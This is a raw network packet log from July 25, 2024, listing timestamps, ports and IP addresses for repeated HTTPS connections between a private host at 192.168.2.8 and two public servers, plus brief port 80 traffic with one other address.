Jul 25, 2024 21:55:26.725236893 CEST	443	49847	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:26.725326061 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.725342989 CEST	443	49847	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:26.725368023 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.726358891 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.726435900 CEST	443	49847	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:26.726501942 CEST	443	49847	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:26.726505995 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.726517916 CEST	443	49847	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:26.726533890 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.726572990 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.726572990 CEST	49847	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.727008104 CEST	49856	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.727045059 CEST	443	49856	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:26.727264881 CEST	49856	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.727572918 CEST	49856	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:26.727587938 CEST	443	49856	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.236375093 CEST	443	49853	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.236493111 CEST	49853	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.237514019 CEST	443	49853	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.237581968 CEST	49853	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.239130020 CEST	49853	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.239140034 CEST	443	49853	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.239470005 CEST	443	49853	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.239535093 CEST	49853	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.239854097 CEST	49853	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.253487110 CEST	443	49854	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.253595114 CEST	49854	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.254246950 CEST	443	49854	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.254318953 CEST	49854	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.255920887 CEST	49854	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.255933046 CEST	443	49854	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.256181955 CEST	443	49854	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.256251097 CEST	49854	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.256613016 CEST	49854	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.284532070 CEST	443	49853	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.304497957 CEST	443	49854	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.342925072 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.343028069 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.343431950 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.343442917 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.345278978 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.345285892 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.357736111 CEST	49856	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.357770920 CEST	49853	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.357803106 CEST	49854	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.358444929 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.358483076 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.358555079 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.358926058 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.358941078 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.360044003 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.360054970 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.360213995 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.360313892 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:27.360325098 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:27.774306059 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.774379969 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.774379015 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.774399996 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.774416924 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.774447918 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.774452925 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.774491072 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.774724960 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.774770975 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.774775028 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:27.774813890 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.775296926 CEST	49855	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:27.775312901 CEST	443	49855	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:28.049463987 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.049602032 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.050152063 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.050159931 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.051989079 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.051996946 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.166583061 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.167045116 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.167563915 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.167572021 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.167752028 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.167757034 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.435771942 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.436412096 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.436542034 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.436696053 CEST	49858	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.436712027 CEST	443	49858	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.437232971 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.437252045 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:28.437271118 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.437330008 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:28.437406063 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.437664986 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.437673092 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:28.437679052 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.437740088 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:28.437762022 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:28.567421913 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.567498922 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.567538023 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.567538023 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.567713976 CEST	49857	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.567733049 CEST	443	49857	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.568401098 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:28.568433046 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.568445921 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:28.568465948 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.568516970 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:28.568547964 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.568769932 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:28.568788052 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:28.568955898 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:28.568970919 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.078691006 CEST	80	49714	69.42.215.252	192.168.2.8
Jul 25, 2024 21:55:29.079339027 CEST	49714	80	192.168.2.8	69.42.215.252
Jul 25, 2024 21:55:29.086664915 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.086790085 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.108936071 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.110225916 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.110271931 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.110313892 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.110707998 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.111520052 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.114578962 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.114675045 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.114685059 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.114799023 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.114804029 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.156502008 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.219873905 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.220029116 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.235064030 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.237071037 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.359091043 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.359119892 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.359273911 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.359278917 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.360333920 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.360375881 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.360738039 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.361006975 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.361516953 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.408516884 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.497025013 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.497090101 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.497109890 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.497159004 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.497301102 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.497345924 CEST	443	49859	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.497423887 CEST	49859	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.497999907 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.498039961 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.498213053 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.500458002 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.500469923 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.516819000 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.516897917 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.516917944 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.516987085 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.516992092 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.517024994 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.517029047 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.517074108 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.517077923 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.517102003 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.517108917 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.517204046 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.517759085 CEST	49860	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.517777920 CEST	443	49860	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.518261909 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.518326044 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.518395901 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.518620968 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.518646955 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.662568092 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.662700891 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.662861109 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.662934065 CEST	443	49862	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.662993908 CEST	49862	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.663580894 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.663613081 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.663681030 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.663954973 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:29.663968086 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:29.712691069 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.712763071 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.712831974 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.712872028 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.712888956 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.712949038 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.713059902 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.713882923 CEST	49861	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.713907957 CEST	443	49861	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.714538097 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.714589119 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:29.714657068 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.714940071 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:29.714958906 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.162628889 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.162703037 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.163417101 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.163589954 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.167107105 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.167117119 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.167409897 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.167912006 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.168358088 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.212502003 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.231904030 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.235172033 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.235837936 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.235847950 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.236006021 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.236011982 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.355801105 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.355886936 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.356914997 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.357002020 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.358649015 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.358659029 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.359046936 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.359122038 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.359509945 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.404500961 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.413777113 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.413872957 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.414366961 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.414376974 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.414659023 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.414664030 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.567349911 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.567491055 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.567514896 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.567614079 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.567729950 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.567770004 CEST	443	49864	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.567884922 CEST	49864	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.568331957 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.568365097 CEST	443	49870	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.568422079 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.568665028 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.568677902 CEST	443	49870	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.672122002 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.672194004 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.672274113 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.672307968 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.672324896 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.672729015 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.672806978 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.673309088 CEST	49865	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.673325062 CEST	443	49865	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.673803091 CEST	49871	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.673831940 CEST	443	49871	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.673916101 CEST	49871	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.674207926 CEST	49871	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.674221992 CEST	443	49871	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.746642113 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.747232914 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.747356892 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.747524023 CEST	49866	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.747539043 CEST	443	49866	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.748100996 CEST	49872	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.748148918 CEST	443	49872	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.748235941 CEST	49872	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.748517990 CEST	49872	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:30.748533964 CEST	443	49872	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:30.849184036 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.849251986 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.849329948 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.849364996 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.849380016 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.849410057 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.849703074 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.849766016 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.849795103 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.849817038 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.850399971 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.850416899 CEST	443	49867	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.850426912 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.850497007 CEST	49867	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.851000071 CEST	49873	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.851044893 CEST	443	49873	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:30.851114035 CEST	49873	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.851398945 CEST	49873	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:30.851409912 CEST	443	49873	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:31.313512087 CEST	443	49870	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:31.313627958 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.314081907 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.314095020 CEST	443	49870	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:31.314346075 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.314352989 CEST	443	49870	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:31.359060049 CEST	49871	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:31.359219074 CEST	49872	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.359249115 CEST	49873	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:31.359277010 CEST	49870	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.360140085 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.360181093 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:31.360341072 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.360701084 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.360716105 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:31.363181114 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.363229990 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:31.363338947 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.364239931 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:31.364254951 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.052839994 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.053379059 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.053642988 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.053658009 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.055412054 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.055427074 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.073661089 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.073755980 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.074908972 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.074987888 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.076562881 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.076575041 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.077032089 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.077142954 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.077639103 CEST	49875	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.124504089 CEST	443	49875	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.445067883 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.445144892 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.445156097 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.445219040 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.445461988 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.445499897 CEST	443	49874	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.445586920 CEST	49874	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.446175098 CEST	49877	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:32.446196079 CEST	49878	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:32.446206093 CEST	443	49877	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:32.446227074 CEST	443	49878	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:32.446281910 CEST	49877	443	192.168.2.8	142.250.186.110
